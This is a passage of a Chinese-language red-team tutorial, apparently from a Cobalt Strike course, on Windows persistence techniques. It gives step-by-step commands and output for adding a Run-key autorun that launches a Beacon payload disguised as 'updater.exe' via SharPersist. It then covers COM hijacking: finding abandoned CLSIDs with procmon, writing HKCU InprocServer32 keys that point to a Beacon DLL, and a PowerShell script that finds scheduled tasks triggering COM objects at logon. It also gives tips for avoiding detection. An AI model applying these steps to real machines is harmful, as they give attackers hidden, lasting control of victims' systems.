HKCU 和 HKLM 中的 AutoRun 值允许应用程序在开机时启动,通常这些值用于启动本机和第三方应用程序,例如软件更新程序、下载助手、驱动程序实用程序等
beacon> cd C:\ProgramData
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add[*] INFO: Adding registry persistence
[*] INFO: Command: C:\ProgramData\Updater.exe
[*] INFO: Command Args: /q /n
[*] INFO: Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[*] INFO: Registry Value: Updater
[*] INFO: Option:
[+] SUCCESS: Registry persistence added
其中:
-k是需要修改的注册表项
-v是要创建的注册表项的名称
重启后测试效果
注意:
1、HKLM 自动运行并不是以 SYSTEM 身份执行有效负载
2、只有当配置单元的所有者登录到计算机时,HKCU 自动运行才会触发
3、当任何用户登录到计算机时,HKLM 自动运行都会触发,但它仍以用户帐户权限运行
五、COM劫持
尽量不要劫持正在使用的 COM 对象,这会破坏依赖它们的应用程序运行,可能暴露攻击行为
尽量找试图加载实际上不存在的对象(所谓的“废弃”键)的应用程序,这是一种更安全的策略
可以使用进程监视器(Sysinternals Suite工具之一),它可以显示实时文件系统、注册表和进程活动,在查找不同类型的特权升级方面非常有用,首先在自己的机器上寻找劫持,然后在实际目标上利用它们,在Attacker Desktop虚拟机上启动procmon64.exe
筛选如下操作:
1、RegOpenKey 操作
2、结果为NAME NOT FOUND
3、并且路径以InprocServer32结尾
为了加快收集速度,可以进行一些常规操作,比如单击任意内容、进入 Windows 菜单、启动应用程序等。大约一分钟有大约 500 个事件,其中大部分来自 Explorer,一些来自第三方软件,其他来自 OS 组件
需要注意的是特定 CLSID 的加载次数,如果劫持了一个每隔几秒加载一次的 CLSID,那要付出很大代价了
所以最好去寻找一个加载频率不高或在打开常用应用程序(Word、Excel、Outlook 等)时加载的 CLSID
通过滚动浏览,发现一个 CLSID 正在由C:\Windows\System32\DllHost.exe加载
HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32
使用 PowerShell 命令检测该条目确实存在于 HKLM 中,但不存在于 HKCU 中
PS C:\Users\Attacker> Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"Name Property
---- --------
InprocServer32 (default) : C:\Windows\System32\thumbcache.dllThreadingModel : Apartment
PS C:\Users\Attacker> Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32' because it does not exist.
利用此漏洞,可在 HKCU 中创建必要的注册表项,并将其指向 Beacon DLL,比如直接将其指向C:\Payloads\http_x64.dll
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\Payloads\http_x64.dll"
PS C:\Users\Attacker> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
当DllHost.exe加载此 COM 条目时,一个 Beacon上线
要清理 COM 劫持只需从 HKCU 中删除注册表项并删除 DLL即可
另一个寻找可劫持 COM 组件的方法是计划任务程序,许多默认的 Windows 任务实际上使用自定义触发器来调用 COM 对象,而不是直接在磁盘上执行二进制文件,由于它们是通过计划任务程序执行的,因此更容易预测它们何时会被触发。我们可以使用以下 PowerShell 来查找兼容的任务
$Tasks = Get-ScheduledTaskforeach ($Task in $Tasks)
{if ($Task.Actions.ClassId -ne $null){if ($Task.Triggers.Enabled -eq $true){if ($Task.Principal.GroupId -eq "Users"){Write-Host "Task Name: " $Task.TaskNameWrite-Host "Task Path: " $Task.TaskPathWrite-Host "CLSID: " $Task.Actions.ClassIdWrite-Host}}}
}
这个脚本很简单,输出结果如下:
Task Name: SystemSoundsService
Task Path: \Microsoft\Windows\Multimedia\
CLSID: {2DEA658F-54C1-4227-AF9B-260AB5FC3543}Task Name: MsCtfMonitor
Task Path: \Microsoft\Windows\TextServicesFramework\
CLSID: {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}Task Name: Calibration Loader
Task Path: \Microsoft\Windows\WindowsColorSystem\
CLSID: {B210D694-C8DF-490D-9576-9E20CDBC20BD}Task Name: CacheTask
Task Path: \Microsoft\Windows\Wininet\
CLSID: {0358B920-0AC7-461F-98F4-58E32CD89148}
在计划任务程序中查看MsCtfMonitor 任务,可以看到它是在任何用户登录时触发,可以起到有效的重启持久化作用
在HKEY_CLASSES_ROOT\CLSID中查找 {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} 项
PS C:\> Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\MsCtfMonitor.dllThreadingModel : Both
可以看到InprocServer32,并且可以验证它在 HKLM 而不是 HKCU 中
PS C:\> Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSizeName Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
现在只需在 HKCU 中添加一个指向我们的 DLL 的重复条目(如上所示),每次用户登录时都会加载